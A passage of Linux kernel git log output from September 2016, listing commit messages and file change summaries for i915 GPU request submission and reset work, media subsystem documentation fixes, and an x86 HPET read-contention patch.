+0100 drm/i915: Ignore valid but unknown semaphores If we find a ring waiting on a semaphore for another assigned but not yet emitted request, treat it as valid and waiting. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-18-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_irq.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit dadd481bfe559f09bc3c42e9d552149c1cb84e6a Author: Chris Wilson Date: Fri Sep 9 14:11:57 2016 +0100 drm/i915/guc: Prepare for nonblocking execbuf submission Currently the presumption is that the request construction and its submission to the GuC are all under the same holding of struct_mutex. We wish to relax this to separate the request construction and the later submission to the GuC. This requires us to reserve some space in the GuC command queue for the future submission. For flexibility to handle out-of-order request submission we do not preallocate the next slot in the GuC command queue during request construction, just ensuring that there is enough space later. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-17-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_guc_submission.c | 35 ++++++++++++++++++++---------- drivers/gpu/drm/i915/intel_guc.h | 2 ++ 2 files changed, 25 insertions(+), 12 deletions(-) commit a2bc4695bbf24877d75b34da5d11fcb38393eee9 Author: Chris Wilson Date: Fri Sep 9 14:11:56 2016 +0100 drm/i915: Prepare object synchronisation for asynchronicity We are about to specialize object synchronisation to enable nonblocking execbuf submission. First we make a copy of the current object synchronisation for execbuffer. The general i915_gem_object_sync() will be removed following the removal of CS flips in the near future. Signed-off-by: Chris Wilson Reviewed-by: John Harrison Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-16-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 - drivers/gpu/drm/i915/i915_gem.c | 91 ------------------------------ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 3 +- drivers/gpu/drm/i915/i915_gem_request.c | 87 ++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_gem_request.h | 5 ++ drivers/gpu/drm/i915/intel_display.c | 2 +- 6 files changed, 95 insertions(+), 95 deletions(-) commit 0f25dff6e960c44c5e7d306ff3a3fdad5367a90e Author: Chris Wilson Date: Fri Sep 9 14:11:55 2016 +0100 drm/i915: Reorder i915_add_request to separate the phases better Let's avoid mixing sealing the hardware commands for the request and adding the request to the software tracking. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-15-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit 5590af3e115a9db11c5d6689ddd0d0053be4f4e0 Author: Chris Wilson Date: Fri Sep 9 14:11:54 2016 +0100 drm/i915: Drive request submission through fence callbacks Drive final request submission from a callback from the fence. This way the request is queued until all dependencies are resolved, at which point it is handed to the backend for queueing to hardware. At this point, no dependencies are set on the request, so the callback is immediate. A side-effect of imposing a heavier-irqsafe spinlock for execlist submission is that we lose the softirq enabling after scheduling the execlists tasklet. To compensate, we manually kickstart the softirq by disabling and enabling the bh around the fence signaling. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Reviewed-by: John Harrison Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-14-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 3 +++ drivers/gpu/drm/i915/i915_gem_request.c | 27 ++++++++++++++++++++++++++- drivers/gpu/drm/i915/i915_gem_request.h | 3 +++ drivers/gpu/drm/i915/i915_guc_submission.c | 3 ++- drivers/gpu/drm/i915/intel_breadcrumbs.c | 3 +++ drivers/gpu/drm/i915/intel_lrc.c | 5 +++-- drivers/gpu/drm/i915/intel_ringbuffer.h | 8 ++++++++ 7 files changed, 48 insertions(+), 4 deletions(-) commit 821ed7df6e2a1dbae243caebcfe21a0a4329fca0 Author: Chris Wilson Date: Fri Sep 9 14:11:53 2016 +0100 drm/i915: Update reset path to fix incomplete requests Update reset path in preparation for engine reset which requires identification of incomplete requests and associated context and fixing their state so that engine can resume correctly after reset. The request that caused the hang will be skipped and head is reset to the start of breadcrumb. This allows us to resume from where we left-off. Since this request didn't complete normally we also need to cleanup elsp queue manually. This is vital if we employ nonblocking request submission where we may have a web of dependencies upon the hung request and so advancing the seqno manually is no longer trivial. ABI: gem_reset_stats / DRM_IOCTL_I915_GET_RESET_STATS We change the way we count pending batches. Only the active context involved in the reset is marked as either innocent or guilty, and not mark the entire world as pending. By inspection this only affects igt/gem_reset_stats (which assumes implementation details) and not piglit. ARB_robustness gives this guide on how we expect the user of this interface to behave: * Provide a mechanism for an OpenGL application to learn about graphics resets that affect the context. When a graphics reset occurs, the OpenGL context becomes unusable and the application must create a new context to continue operation. Detecting a graphics reset happens through an inexpensive query. And with regards to the actual meaning of the reset values: Certain events can result in a reset of the GL context. Such a reset causes all context state to be lost. Recovery from such events requires recreation of all objects in the affected context. The current status of the graphics reset state is returned by enum GetGraphicsResetStatusARB(); The symbolic constant returned indicates if the GL context has been in a reset state at any point since the last call to GetGraphicsResetStatusARB. NO_ERROR indicates that the GL context has not been in a reset state since the last call. GUILTY_CONTEXT_RESET_ARB indicates that a reset has been detected that is attributable to the current GL context. INNOCENT_CONTEXT_RESET_ARB indicates a reset has been detected that is not attributable to the current GL context. UNKNOWN_CONTEXT_RESET_ARB indicates a detected graphics reset whose cause is unknown. The language here is explicit in that we must mark up the guilty batch, but is loose enough for us to relax the innocent (i.e. pending) accounting as only the active batches are involved with the reset. In the future, we are looking towards single engine resetting (with minimal locking), where it seems inappropriate to mark the entire world as innocent since the reset occurred on a different engine. Reducing the information available means we only have to encounter the pain once, and also reduces the information leaking from one context to another. v2: Legacy ringbuffer submission required a reset following hibernation, or else we restore stale values to the RING_HEAD and walked over stolen garbage. v3: GuC requires replaying the requests after a reset. v4: Restore engine IRQ after reset (so waiters will be woken!) Rearm hangcheck if resetting with a waiter. Cc: Tvrtko Ursulin Cc: Mika Kuoppala Cc: Arun Siluvery Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-13-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 9 +-- drivers/gpu/drm/i915/i915_drv.h | 5 +- drivers/gpu/drm/i915/i915_gem.c | 125 +++++++++++++++++------------ drivers/gpu/drm/i915/i915_gem_context.c | 16 ---- drivers/gpu/drm/i915/i915_guc_submission.c | 8 +- drivers/gpu/drm/i915/intel_engine_cs.c | 15 +++- drivers/gpu/drm/i915/intel_lrc.c | 49 +++++++++-- drivers/gpu/drm/i915/intel_lrc.h | 3 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 47 +++++++---- drivers/gpu/drm/i915/intel_ringbuffer.h | 7 +- 10 files changed, 185 insertions(+), 99 deletions(-) commit 780f262a703a683bc56bbb860b25286a6f501d61 Author: Chris Wilson Date: Fri Sep 9 14:11:52 2016 +0100 drm/i915: Replace wait-on-mutex with wait-on-bit in reset worker Since we have a cooperative mode now with a direct reset, we can avoid the contention on struct_mutex and instead try then sleep on the I915_RESET_IN_PROGRESS bit. If the mutex is held and that bit is cleared, all is fine. Otherwise, we sleep for a bit and try again. In the worst case we sleep for an extra second waiting for the mutex to be released (no one touching the GPU is allowed the struct_mutex whilst the I915_RESET_IN_PROGRESS bit is set). But when we have a direct reset, this allows us to clean up the reset worker faster. v2: Remember to call wake_up_bit() after changing (for the faster wakeup as promised) Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-12-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 14 ++++++++------ drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_irq.c | 31 ++++++++++++++++++------------- 3 files changed, 27 insertions(+), 20 deletions(-) commit 221fe7994554cc3985fc5d761ed7e44dcae0fa52 Author: Chris Wilson Date: Fri Sep 9 14:11:51 2016 +0100 drm/i915: Perform a direct reset of the GPU from the waiter If a waiter is holding the struct_mutex, then the reset worker cannot reset the GPU until the waiter returns. We do not want to return -EAGAIN form i915_wait_request as that breaks delicate operations like i915_vma_unbind() which often cannot be restarted easily, and returning -EIO is just as useless (and has in the past proven dangerous). The remaining WARN_ON(i915_wait_request) serve as a valuable reminder that handling errors from an indefinite wait are tricky. We can keep the current semantic that knowing after a reset is complete, so is the request, by performing the reset ourselves if we hold the mutex. uevent emission is still handled by the reset worker, so it may appear slightly out of order with respect to the actual reset (and concurrent use of the device). Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-11-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 11 ++++++----- drivers/gpu/drm/i915/i915_drv.h | 15 +++------------ drivers/gpu/drm/i915/i915_gem_request.c | 29 +++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_irq.c | 2 ++ drivers/gpu/drm/i915/intel_ringbuffer.c | 3 --- 5 files changed, 40 insertions(+), 20 deletions(-) commit 22dd3bb9190566c7c3b80edb7dea67d1e21d0f91 Author: Chris Wilson Date: Fri Sep 9 14:11:50 2016 +0100 drm/i915: Mark up all locked waiters In the next patch we want to handle reset directly by a locked waiter in order to avoid issues with returning before the reset is handled. To handle the reset, we must first know whether we hold the struct_mutex. If we do not hold the struct_mtuex we can not perform the reset, but we do not block the reset worker either (and so we can just continue to wait for request completion) - otherwise we must relinquish the mutex. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-10-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 4 +++- drivers/gpu/drm/i915/i915_gem.c | 7 +++++-- drivers/gpu/drm/i915/i915_gem_evict.c | 8 ++++++-- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.c | 15 ++++++++++++--- drivers/gpu/drm/i915/i915_gem_request.h | 11 ++++++++--- drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 3 ++- 8 files changed, 38 insertions(+), 14 deletions(-) commit ea746f3659232b3104d9534d5a7ebd9934ae1dd6 Author: Chris Wilson Date: Fri Sep 9 14:11:49 2016 +0100 drm/i915: Expand bool interruptible to pass flags to i915_wait_request() We need finer control over wakeup behaviour during i915_wait_request(), so expand the current bool interruptible to a bitmask. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-9-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 16 +++++++++------- drivers/gpu/drm/i915/i915_gem_evict.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.c | 9 +++++---- drivers/gpu/drm/i915/i915_gem_request.h | 13 +++++++------ drivers/gpu/drm/i915/i915_gem_shrinker.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_userptr.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 8 ++++---- drivers/gpu/drm/i915/intel_ringbuffer.c | 3 ++- drivers/gpu/drm/i915/intel_ringbuffer.h | 4 ++-- 12 files changed, 37 insertions(+), 32 deletions(-) commit 2c7487a524147f7a3f588c1394be44149f66da94 Author: Chris Wilson Date: Fri Sep 9 14:11:48 2016 +0100 drm/i915: Drop local struct_mutex around intel_init_emon[ilk] Access to intel_init_emon() is strictly ordered by gt_powersave, using struct_mutex around it is overkill (and will conflict with the caller holding struct_mutex themselves). Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-8-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_pm.c | 2 -- 1 file changed, 2 deletions(-) commit 8af29b0c78ed11a3dd2a544f9df30be988d9de29 Author: Chris Wilson Date: Fri Sep 9 14:11:47 2016 +0100 drm/i915: Separate out reset flags from the reset counter In preparation for introducing a per-engine reset, we can first separate the mixing of the reset state from the global reset counter. The loss of atomicity in updating the reset state poses a small problem for handling the waiters. For requests, this is solved by advancing the seqno so that a waiter waking up after the reset knows the request is complete. For pending flips, we still rely on the increment of the global reset epoch (as well as the reset-in-progress flag) to signify when the hardware was reset. The advantage, now that we do not inspect the reset state during reset itself i.e. we no longer emit requests during reset, is that we can use the atomic updates of the state flags to ensure that only one reset worker is active. v2: Mika spotted that I transformed the i915_gem_wait_for_error() wakeup into a waiter wakeup. Signed-off-by: Chris Wilson Cc: Arun Siluvery Cc: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1470414607-32453-6-git-send-email-arun.siluvery@linux.intel.com Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-7-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 9 +++ drivers/gpu/drm/i915/i915_drv.c | 16 ++--- drivers/gpu/drm/i915/i915_drv.h | 46 +++++--------- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.c | 13 ++-- drivers/gpu/drm/i915/i915_irq.c | 103 ++++++++++++++------------------ drivers/gpu/drm/i915/intel_display.c | 25 +++++--- drivers/gpu/drm/i915/intel_drv.h | 4 +- 8 files changed, 101 insertions(+), 117 deletions(-) commit 70c2a24dbfd28eb9b905b369679b32a74361d7ac Author: Chris Wilson Date: Fri Sep 9 14:11:46 2016 +0100 drm/i915: Simplify ELSP queue request tracking Emulate HW to track and manage ELSP queue. A set of SW ports are defined and requests are assigned to these ports before submitting them to HW. This helps in cleaning up incomplete requests during reset recovery easier especially after engine reset by decoupling elsp queue management. This will become more clear in the next patch. In the engine reset case we want to resume where we left-off after skipping the incomplete batch which requires checking the elsp queue, removing element and fixing elsp_submitted counts in some cases. Instead of directly manipulating the elsp queue from reset path we can examine these ports, fix up ringbuffer pointers using the incomplete request and restart submissions again after reset. Cc: Tvrtko Ursulin Cc: Mika Kuoppala Cc: Arun Siluvery Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1470414607-32453-3-git-send-email-arun.siluvery@linux.intel.com Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-6-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_gem.c | 13 +- drivers/gpu/drm/i915/i915_gem_request.c | 1 - drivers/gpu/drm/i915/i915_gem_request.h | 21 +- drivers/gpu/drm/i915/intel_lrc.c | 402 +++++++++++++------------------- drivers/gpu/drm/i915/intel_lrc.h | 2 - drivers/gpu/drm/i915/intel_ringbuffer.h | 7 +- 7 files changed, 184 insertions(+), 264 deletions(-) commit bbd6c47e114f30dbe26018694059f2491c22271c Author: Chris Wilson Date: Fri Sep 9 14:11:45 2016 +0100 drm/i915: Reorder submitting the requests to ELSP Just rearrange the code to reduce churn in the next patch. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-5-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 76 ++++++++++++++++++++-------------------- 1 file changed, 38 insertions(+), 38 deletions(-) commit 8b38b3a16719ee86f9aa2fd1bc479db7d5b28e48 Author: Chris Wilson Date: Fri Sep 9 14:11:44 2016 +0100 drm/i915: Compute the ELSP register location once Similar to the issue with reading from the context status buffer, see commit 26720ab97fea ("drm/i915: Move CSB MMIO reads out of the execlists lock"), we frequently write to the ELSP register (4 writes per interrupt) and know we hold the required spinlock and forcewake throughout. We can further reduce the cost of writing these registers beyond the I915_WRITE_FW() by precomputing the address of the ELSP register. We also note that the subsequent read serves no purpose here, and are happy to see it go. v2: Address I915_WRITE mistakes in changelog text data bss dec hex filename 1259784 4581 576 1264941 134d2d drivers/gpu/drm/i915/i915.ko 1259720 4581 576 1264877 134ced drivers/gpu/drm/i915/i915.ko Saves 64 bytes of address recomputation. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-4-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit a52abd2facfe8add456a075c2d9e254db071bf85 Author: Chris Wilson Date: Fri Sep 9 14:11:43 2016 +0100 drm/i915: Record the position of the workarounds in the tail of the request Rather than blindly assuming we need to advance the tail for resubmitting the request via the ELSP, record the position. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-3-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.h | 15 +++++++++------ drivers/gpu/drm/i915/intel_lrc.c | 4 ++-- 2 files changed, 11 insertions(+), 8 deletions(-) commit ba49b2f8237b0241fb86660812c0b235580ac182 Author: Chris Wilson Date: Fri Sep 9 14:11:42 2016 +0100 drm/i915: Only queue requests during execlists submission Leave the more complicated request dequeueing to the tasklet and instead just kick start the tasklet if we detect we are adding the first request. v2: Play around with list operators until we agree upon something Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-2-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 28 ++++------------------------ 1 file changed, 4 insertions(+), 24 deletions(-) commit e68a139f6bf38eb9fb8f61de8789870465c2ffaa Author: Chris Wilson Date: Fri Sep 9 14:11:41 2016 +0100 drm/i915: Add a sw fence for collecting up dma fences This is really a core kernel struct in disguise until we can finally place it in kernel/. There is an immediate need for a fence collection mechanism that is more flexible than fence-array, in particular being able to easily drive request submission via events (and not just interrupt driven). The same mechanism would be useful for handling nonblocking and asynchronous atomic modesets, parallel execution and more, but for the time being just create a local sw fence for execbuf. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/Makefile | 1 + drivers/gpu/drm/i915/i915_sw_fence.c | 362 +++++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_sw_fence.h | 65 +++++++ 3 files changed, 428 insertions(+) commit 9ef0b3f3f88d2a177e3403dd57e373d97f1c389c Author: Mauro Carvalho Chehab Date: Fri Sep 9 08:40:15 2016 -0300 [media] v4l2-subdev.h: fix a typo at a kernel-doc markup One struct at the comment was not written well. Fix it. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-subdev.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cb8d67cf70b4bc7d60c356896823022717b70d1e Author: Mauro Carvalho Chehab Date: Thu Sep 8 18:31:17 2016 -0300 [media] v4l2-subdev: fix some references to v4l2_dev There is a warning there, because it was pointing to a different name. Fix it. While here, use struct &foo, instead of &struct foo. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-subdev.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 0d56015d80a2c187c107d7780b89712bda8eee2e Author: Mauro Carvalho Chehab Date: Thu Sep 8 18:23:35 2016 -0300 [media] v4l2-flash-led-class.h: document v4l2_flash_ops Fix this warning: ./include/media/v4l2-flash-led-class.h:103: WARNING: c:type reference target not found: v4l2_flash_ops Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-flash-led-class.h | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit dba2d12ae49217254cfc0452c68f1a4e2d2f1e4b Author: Mauro Carvalho Chehab Date: Thu Sep 8 18:12:18 2016 -0300 [media] videobuf2-v4l2: document two helper functions Document vb2_ops_wait_prepare() and vb2_ops_wait_finish(), in order to fix those two warnings: Documentation/media/kapi/v4l2-dev.rst:166: WARNING: c:func reference target not found: vb2_ops_wait_prepare Documentation/media/kapi/v4l2-dev.rst:166: WARNING: c:func reference target not found: vb2_ops_wait_finish Signed-off-by: Mauro Carvalho Chehab include/media/videobuf2-v4l2.h | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit bf4404b482f927096ba3001d829a79f788d2265f Author: Mauro Carvalho Chehab Date: Thu Sep 8 18:01:44 2016 -0300 [media] videobuf2-v4l2.h: improve documentation There are a few issues at the documentation: fields not documented, bad cross refrences, etc. Fix them. Signed-off-by: Mauro Carvalho Chehab include/media/videobuf2-v4l2.h | 52 +++++++++++++++++++++++++++--------------- 1 file changed, 33 insertions(+), 19 deletions(-) commit 24ade5b6de002c51d18722e996dd92e49ad88802 Author: Mauro Carvalho Chehab Date: Thu Sep 8 14:22:00 2016 -0300 [media] videobuf2-v4l2.h: get kernel-doc tags from C file There are several functions documented at the C file. Move them to the header, as this is the one used to build the media books. Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-v4l2.c | 142 ----------------------------- include/media/videobuf2-v4l2.h | 151 ++++++++++++++++++++++++++++++- 2 files changed, 150 insertions(+), 143 deletions(-) commit 434b67c5789bad5ad7406e89464beb0a213522d7 Author: Mauro Carvalho Chehab Date: Thu Sep 8 14:12:29 2016 -0300 [media] conf_nitpick.py: ignore C domain data used on vb2 Ignore external C domain structs and functions used by VB2 header. Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 4 ++++ 1 file changed, 4 insertions(+) commit f286f4dfc50a9f4d777534794a773eb4fbbedd72 Author: Mauro Carvalho Chehab Date: Thu Sep 8 14:08:34 2016 -0300 [media] videobuf2-core.h: improve documentation There are several small issues with the documentation. Fix them, in order to avoid producing warnings. While here, also make checkpatch.pl happy. Signed-off-by: Mauro Carvalho Chehab include/media/videobuf2-core.h | 143 ++++++++++++++++++++++++----------------- 1 file changed, 85 insertions(+), 58 deletions(-) commit 52839f66edde1ed709390b55a0d3f82593203308 Author: Mauro Carvalho Chehab Date: Thu Sep 8 14:08:00 2016 -0300 [media] videobuf2-core.h: document enum vb2_memory This enum was not documented. Document it. Signed-off-by: Mauro Carvalho Chehab include/media/videobuf2-core.h | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit f99fd22e4d4bc84880a8a3117311bbf0e3a6a9dc Author: Waiman Long Date: Tue Sep 6 13:22:10 2016 -0400 x86/hpet: Reduce HPET counter read contention On a large system with many CPUs, using HPET as the clock source can have a significant impact on the overall system performance because of the following reasons: 1) There is a single HPET counter shared by all the CPUs. 2) HPET counter reading is a very slow operation. Using HPET as the default clock source may happen when, for example, the TSC clock calibration exceeds the allowable tolerance. Something the performance slowdown can be so severe that the system may crash because of a NMI watchdog soft lockup, for example. During the TSC clock calibration process, the default clock source will be set temporarily to HPET. For systems with many CPUs, it is possible that NMI watchdog soft lockup may occur occasionally during that short time period where HPET clocking is active as is shown in the kernel log below: [ 71.646504] hpet0: 8 comparators, 64-bit 14.318180 MHz counter [ 71.655313] Switching to clocksource hpet [ 95.679135] BUG: soft lockup - CPU#144 stuck for 23s! [swapper/144:0] [ 95.693363] BUG: soft lockup - CPU#145 stuck for 23s! [swapper/145:0] [ 95.695580] BUG: soft lockup - CPU#582 stuck for 23s! [swapper/582:0] [ 95.698128] BUG: soft lockup - CPU#357 stuck for 23s! [swapper/357:0] This patch addresses the above issues by reducing HPET read contention using the fact that if more than one CPUs are trying to access HPET at the same time, it will be more efficient when only one CPU in the group reads the HPET counter and shares it with the rest of the group instead of each group member trying to read the HPET counter individually. This is done by using a combination quadword that contains a 32-bit stored HPET value and a 32-bit spinlock. The CPU that gets the lock will be responsible for reading the HPET counter and storing it in the quadword. The others will monitor the change in HPET value and lock status and grab the latest stored HPET value accordingly. This change is only enabled on 64-bit SMP configuration. On a 4-socket Haswell-EX box with 144 threads (HT on), running the AIM7 compute workload (1500 users) on a 4.8-rc1 kernel (HZ=1000) with and without the patch has the following performance numbers (with HPET or TSC as clock source): TSC = 1042431 jobs/min HPET w/o patch = 798068 jobs/min HPET with patch = 1029445 jobs/min The perf profile showed a reduction of the %CPU time consumed by read_hpet from 11.19% without patch to 1.24% with patch. [ tglx: It's really sad that we need to have such hacks just to deal with the fact that cpu vendors have not managed to fix the TSC wreckage within 15+ years. Were They Forgetting? ] Signed-off-by: Waiman Long Tested-by: Prarit Bhargava Cc: Scott J Norton Cc: Douglas Hatch Cc: Randy Wright Cc: Dave Hansen Cc: Andy Lutomirski Cc: Borislav Petkov Link: http://lkml.kernel.org/r/1473182530-29175-1-git-send-email-Waiman.Long@hpe.com Signed-off-by: Thomas Gleixner arch/x86/kernel/hpet.c | 94 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 94 insertions(+) commit 88b7eb092efb8197d29d5202d77d1fb919419ec5 Author: Mauro Carvalho Chehab Date: Thu Sep 8 13:34:37 2016 -0300 [media] videobuf2-core.h: move function descriptions from c file There are several functions that were documented at the .c file. As we only include the headers, we need to move them to there, in order to have documentation. Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-core.c | 254 ----------------------------- include/media/videobuf2-core.h | 269 +++++++++++++++++++++++++++++++ 2 files changed, 269 insertions(+), 254 deletions(-) commit bcb53f07080bb3413f00e2e95c2c6f56eb20c9e5 Author: Mauro Carvalho Chehab Date: Thu Sep 8 18:01:36 2016 -0300 [media] conf_nitpick.py: ignore an opaque struct from v4l2-mem2mem.h The v4l2_m2m_dev is opaque: its meaning is only known by v4l2-mem2mem.c. Ignore it on nitpick mode. Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 4 ++++ 1 file changed, 4 insertions(+) commit 9f8d3a2ee78110afc2aee85d979b869faac257e7 Author: Mauro Carvalho Chehab Date: Thu Sep 8 17:20:44 2016 -0300 [media] v4l2-mem2mem.h: make kernel-doc parse v4l2-mem2mem.h again The kernel-doc C parser doesn't like opaque structures. So, document it on another way. This should get rid of this warning: ./include/media/v4l2-mem2mem.h:62: error: Cannot parse struct or union! Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-mem2mem.h | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) commit 5fa5edbe59a7ab8ab649268fcb578662dfb7ca99 Author: Mauro Carvalho Chehab Date: Thu Sep 8 10:16:36 2016 -0300 [media] v4l2-mem2mem.h: document the public structures Most structures here are not documented. Add a documentation for them. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-mem2mem.h | 67 +++++++++++++++++++++++++++++++++----------- 1 file changed, 51 insertions(+), 16 deletions(-) commit dcbd87358929ed989732a9866e683e33d0018461 Author: Mauro Carvalho Chehab Date: Thu Sep 8 10:39:58 2016 -0300 [media] v4l2-mem2mem.h: document function arguments There are lots of troubles with the function arguments on this file. Fix them. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-mem2mem.h | 93 +++++++++++++++++++++++++++++++++++++------- 1 file changed, 80 insertions(+), 13 deletions(-) commit 4781646c1e13b23ed31eb12f7e314824d98ce066 Author: Mauro Carvalho Chehab Date: Thu Sep 8 10:16:27 2016 -0300 [media] v4l2-mem2mem.h: move descriptions from .c file Several routines are somewhat documented at v4l2-mem2mem.c file. Move what's there to the header file. Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-mem2mem.c | 128 +------------------------------- include/media/v4l2-mem2mem.h | 132 +++++++++++++++++++++++++++++++++ 2 files changed, 133 insertions(+), 127 deletions(-) commit 82631b5bb268f670613db110177483ae3e85f913 Author: Mauro Carvalho Chehab Date: Thu Sep 8 09:57:24 2016 -0300 [media] mc-core.rst: fix a warning about an internal routine Fix this warning: Documentation/media/kapi/mc-core.rst:97: WARNING: c:func reference target not found: media_devnode_release The media_device_release() is a function internal to media-devnode.c, and not exported elsewhere. So, we can't cross-reference it here. Make it explicit at the documentation. Signed-off-by: Mauro Carvalho Chehab include/media/media-devnode.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c13dce18b8266566e951b1d4b9bbbbbf25a00068 Author: Mauro Carvalho Chehab Date: Thu Sep 8 08:18:04 2016 -0300 [media] rc-map.h: fix a Sphinx warning ./include/media/rc-map.h:121: WARNING: Inline emphasis start-string without end-string. Signed-off-by: Mauro Carvalho Chehab include/media/rc-map.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e9de2d89a7e48c777254780502c16157e1740587 Author: Mauro Carvalho Chehab Date: Thu Sep 8 08:14:10 2016 -0300 [media] docs-rst: fix two wrong :name: tags There's a typo there, causing 4 warnings: Documentation/media/uapi/rc/lirc-read.rst:26: WARNING: c:type reference target not found: name Documentation/media/uapi/rc/lirc-read.rst:26: WARNING: c:type reference target not found: lirc Documentation/media/uapi/v4l/func-poll.rst:25: WARNING: c:type reference target not found: name Documentation/media/uapi/v4l/func-poll.rst:25: WARNING: c:type reference target not found: v4l2 Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/rc/lirc-read.rst | 2 +- Documentation/media/uapi/v4l/func-poll.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 16f8306b349742ae2bd4f938cc03de4552e62d6e Author: Mauro Carvalho Chehab Date: Thu Sep 8 07:55:13 2016 -0300 [media] media-ioc-g-topology.rst: fix a c domain reference One reference there is still using :ref:. Fix it, to solve this warning: Documentation/media/uapi/mediactl/media-ioc-g-topology.rst:236: WARNING: undefined label: media-v2-intf-devnode (if the link has no caption the label must precede a section header) Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/mediactl/media-ioc-g-topology.rst | 